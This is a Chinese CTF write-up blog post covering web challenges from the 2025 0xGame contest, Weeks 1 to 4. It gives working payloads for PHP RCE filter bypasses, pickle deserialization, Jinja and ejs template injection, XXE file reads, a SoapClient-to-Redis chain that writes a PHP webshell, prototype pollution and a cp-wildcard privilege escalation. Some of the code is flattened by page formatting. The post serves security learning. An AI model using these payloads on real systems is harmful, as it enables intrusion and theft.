跳到主要内容
2025 0xGame Web 安全挑战赛解题思路 | 极客日志
编程语言 Node.js Nuct AI java
2025 0xGame Web 安全挑战赛解题思路 综述由AI生成 2025 0xGame Web 安全挑战赛的解题思路,涵盖 Week 1 至 Week 4 的多道题目。主要涉及 PHP、Python、JavaScript、Java 等多种语言的安全漏洞利用。关键技术点包括:RCE 绕过(或运算、自增)、反序列化(PHP 魔术方法、Pickle、Phar、Shiro)、SSRF(SoapClient、DNS 重绑定)、SSTI(模板注入)、XSS(CSS 注入泄漏)、沙箱逃逸(Tython、栈帧)以及 AI 模型污染。文章提供了详细的 Payload 构造方法和代码示例,帮助理解各类 Web 安全攻防技术。
黑客 发布于 2026/4/5 更新于 2026/5/24 51 浏览Week 1
RCE1
考点:或运算构造 system
<?php error_reporting (0 ); highlight_file (__FILE__ );
$rce1 = $_GET ['rce1' ]; $rce2 = $_POST ['rce2' ]; $real_code = $_POST ['rce3' ];
$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i' ;
function check (string $text ): bool { global $pattern ; return (bool ) preg_match ($pattern , $text ); }
if (isset ($rce1 ) && isset ($rce2 )){
if (md5 ($rce1 ) === md5 ($rce2 ) && $rce1 !== $rce2 ){
if (!check ($real_code )){ eval ($real_code ); } else { echo ; }
} { ; }
} { ; }
"Don't hack me ~"
else
echo
"md5 do not match correctly"
else
echo
"Please provide both rce1 and rce2"
?>
查根目录文件:print_r(scandir('/'));
利用或运算绕过过滤:(systee|systel)('tac /f???');。或者利用反引号:print(tac /f???);,或者拼接字符串:readfile('/'.'fl'.'ag');
Lemon
HTTP 代理头利用 注意最后要求使用 Clash 代理,通过请求头 Via: clash 进行识别。
Rubbish_Unser
考点:Hash 触发 Exception 中 __toString 魔术绕过 Hash <?php error_reporting (0 ); highlight_file (__FILE__ );
class ZZZ { public $yuzuha ; function __construct ($yuzuha ) { $this -> yuzuha = $yuzuha ; }
function __destruct ( ) { echo "破绽,在这里!" . $this -> yuzuha; } }
class HSR { public $robin ; function __get ($robin ) { $castorice = $this -> robin; eval ($castorice ); } }
class HI3rd { public $RaidenMei ; public $kiana ; public $guanxing ;
function __invoke ( ) { if ($this -> kiana !== $this -> RaidenMei && md5 ($this -> kiana) === md5 ($this -> RaidenMei) && sha1 ($this -> kiana) === sha1 ($this -> RaidenMei)) return $this -> guanxing -> Elysia; } }
class GI { public $furina ; function __call ($arg1 , $arg2 ) { $Charlotte = $this -> furina; return $Charlotte (); } }
class Mi { public $game ; function __toString ( ) { $game1 = @$this -> game -> tks (); return $game1 ; } }
if (isset ($_GET ['0xGame' ])) { $web = unserialize ($_GET ['0xGame' ]); throw new Exception ("Rubbish_Unser" ); }
?>
利用垃圾回收去掉最后一个 } 绕过,Hash 用 Exception 绕过。
Lemon_RevEnge
考点:污染 os.path.pardir 进行目录穿越 from flask import Flask,request,render_template import json import os app = Flask(__name__)
def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
class Dst (): def __init__ (self ): pass Game0x = Dst()
@app.route('/' ,methods=['POST' , 'GET' ] ) def index(): if request.data: merge(json.loads(request.data ), Game0x ) return render_template("index.html" , Game0x=Game0x )
@app.route("/<path:path>" ) def render_page(path ): if not os.path.exists("templates/" + path ): return "Not Found" , 404 return render_template(path )
if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
{ "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "!" } } } } }
留言板(粉) admin/admin123 登入,发现网页名字提示是打 XXE。
<!DOCTYPE evil [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <user > <username > &xxe; </username > <password > &xxe; </password > </user >
留言板_ReVenge
Week 2
你好,爪洼脚本
马哈鱼商店
考点:Pickle 反序列化(文本协议) 买 flag 是假的,买 pickle,将折扣改成 0.0001 就行。
Use GET To Send Your Loved Data!!! BlackList = [b'' , b'' ] @app.route('/pickle_dsa' ) def pic (): data = request.args.get('data' ) if not data: return "Use GET To Send Your Loved Data" try : data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print (p) return f" Vamos! {p}
打 pickle 反序列化,注意这要用 protocol=0(文本协议),避免包含 0x1E 字节被拦截。
import pickle import base64 import os class P (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('env').read()" ,)) payload = pickle.dumps(P(), protocol=0 ) b64_payload = base64.b64encode(payload) print (payload) print (b64_payload.decode())
DNS 想要玩
考点:进制绕过黑名单进行 dns 解析(dns 重绑定) 题目给了源码,很多办法,用进制绕过就行,这里用 10 进制绕过。
ssrf?url=http://1912930564 /&cmd=cat%20 /f*
这真的是反序列化
考点:利用 SoapClient 触发 __call 用 ssrf 来打 Redis <?php class pure { public $web ; public $misc ; public $crypto ; public $pwn ; }
$a = new pure (); $a ->web = 'SoapClient' ; $a ->misc = null ; $a ->pwn = null ;
$target = 'http://127.0.0.1:6379/' ;
$poc = "AUTH 20251206\r\n" . "CONFIG SET dir /var/www/html/\r\n" . "CONFIG SET dbfilename shell.php\r\n" . "SET x '<?= @eval(\$_POST[1]) ?>'\r\n" . "SAVE" ;
$a ->crypto = array ( 'location' => $target , 'uri' => "hello\"\r\n" . $poc . "\r\nhello" );
echo serialize ($a );
404NotFound 过滤了一些关键词和点:
{{lipsum['__glo''bals__']['o''s']['po''pen']('cat /f*')['re''ad']()}}
Plus_plus
考点:限制字符的自增 rce 需要把换行的都去掉,然后进行一次 URL 编码,因为中间件会解码一次,所以我们构造的 payload 先变成这样。
get 0 xGame=1 &1 =system&2 =cat /f* post web=%24 _%3 D%5 B%5 D._%3 B%24 __%3 D%24 _%5 B1%5 D%3 B%24 _%3 D%24 _%5 B0%5 D%3 B%24 _%2 B%2 B%3 B%24_1 %3 D%2 B%2 B%24 _%3 B%24 _%2 B%2 B%3 B%24 _%2 B%2 B%3 B%24 _%2 B%2 B%3 B%24 _%2 B%2 B%3 B%24 _%3 D%24_1 .%2 B%2 B%24 _.%24 __%3 B%24 _%3 D_.%24 _(71 ).%24 _(69 ).%24 _(84 )%3 B%24 %24 _%5 B1%5 D(%24 %24 _%5 B2%5 D)%3 B%20
我只想要你的 PNG!
考点:文件名注入 只能上传 png,但是源码提示有个 check.php,上传文件发现文件上传后被删除,但是原文件名出现在 check.php 里,那就是打文件名注入。
Week 3
消栈逃出沙箱 (1) 反正不会有 2
解法:Typhon 梭哈沙箱逃逸 import Typhon cmd = "ls /"
稍微改一下,首先要结果要 +read(),然后要 print 打印出来:
print(list.__class__.__subclasses__(list.__class__)[0].register.__globals__['__builtins__']['__import__']('os').popen('env').read())
解法二:Python 栈帧沙箱逃逸+traceback 使用 Exception 引发异常,并捕获异常对象,异常对象中,有一个 __traceback__ 属性,它指向相关的回溯对象。从回溯对象中,我们可以获取栈帧。然后,从回溯对象中,我们可以访问 tb_frame 来获取当前栈帧,然后 __traceback__.tb_frame.f_back.f_back 获取外层函数 safe_sandbox_Exec 栈帧,利用栈帧的 f_globals 获取原始环境中的 __builtins__,然后执行命令。
文件查询器(蓝)
考点:file_get_contents 触发 phar 反序列化 发现文件上传和查询文件功能,查/etc/passwd 有回显,有文件包含,直接读源码 index.php。
一眼就知道是 file_get_contents 触发 phar 反序列化,gz 压一下,改一下文件名分别绕过内容 waf 和文件名 waf。
然后打 phar 协议就好了:phar://upload/1.phar.png
长夜月 这个代码很明显,先 token 伪造然后再原型链污染时间就行。
先说 token 伪造,它这个注册的时候用密钥生成的,但是登入时解 token 没有鉴权,所以直接伪造 admin 就行。
然后将 min_public_time 污染成 8 月 3 号前就行:{"__proto__": { "min_public_time": "2025-08-01" }}
放开我的变量
考点:cp 通配符提权 一扫发现一个后门/asdback.php,直接蚁剑连。但是拿不了 flag,提权也不行,一看 start.sh,湾区杯和 N1 写过,打 cp 通配符提权。
cd /var/www/html/primary/ echo "" >"-H" ln -s /flag ff cd ../marstream cat f
这真的是文件上传
考点:js 审计之 ejs 渲染 <%- global.process.mainModule.require('child_process').execSync('env') %>
New_Python!
考点:uuid8 加密 随便注册一个账户登入,得到 RSA 参数。先 rsa 解密得到 a,响应头看到 b,目录扫描得到 auth,得到 c。直接 uuid8 加密即可。
admin/63727970-746f-849c-8000-0001bae3f741 登入,执行 env 即可。
Week 4
SpringShiro 拿到附件,知道用户密码是 admin/123456,登进去什么也没有,登入抓包结合题目应该是 shiro 反序列化。
目录扫描没发现啥东西,但是密钥一般都在/actuator/heapdump,访问得到,然后用工具解密。
得到 qebXusiEQHNsQq+TDqfsFQ==。
然后爆破利用链执行命令就行。
绳网委托 Bottle 版
考点:abort 无回显 flask 框架,尝试发现过滤了{}<>,那肯定打 bottle 的 python 代码执行,就打 abort 吧。
由于过滤了<>,用引号包裹绕过语法检测。
''' % from bottle import abort % a=__import__('os').popen("ls /").read() % abort(404,a) % end '''
wp 的方法其实就是文档中讲的另一种形式,也学习一下,其实也差不多。
跨站脚本攻击叫 CSS 还是 XSS
考点:用 CSS 注入实现 XS Leak 这题就是下面 app.js 与 bot.js 有用。
这里显然当 admin 登进就会有 flag,但是打不了 session 伪造,看看 bot.js,作用就是让 admin 身份的 bot 访问 url,而这个 url 就是 app.js 中 report 路由中的参数,有什么?这里利用 CSS 注入实现 XS Leak ,一个常见的方法是利⽤ CSS 选择器匹配指定标签的某个属性的内容。
而在 view 页面中:<meta readonly name="secret" content="<%- locals.secret %>">
当 admin 用户访问时,flag 会被放在 meta 标签中,也就是说,我们构造恶意 css 语句,让 bot 去访问/view/:id 路由,然后 bot 的 view 页面包含 flag,然后我们利用 css 注入接收泄露的 flag。
所有代码如下 exp.html 和 Flask 辅助脚本。
旧吊带袜天使:想吃真蛋糕的 Stocking
考点:模型污染攻击 看不懂,直接看 wp,加载原始模型,找到输出层,污染输出层权重和偏置,保存污染后的模型。
import torch from model_server import SimpleDessertClassifier
相关免费在线工具 RSA密钥对生成器 生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
Keycode 信息 查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
Escape 与 Native 编解码 JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
Mermaid 预览与可视化编辑 基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
JavaScript / HTML 格式化 使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
JavaScript 压缩与混淆 Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online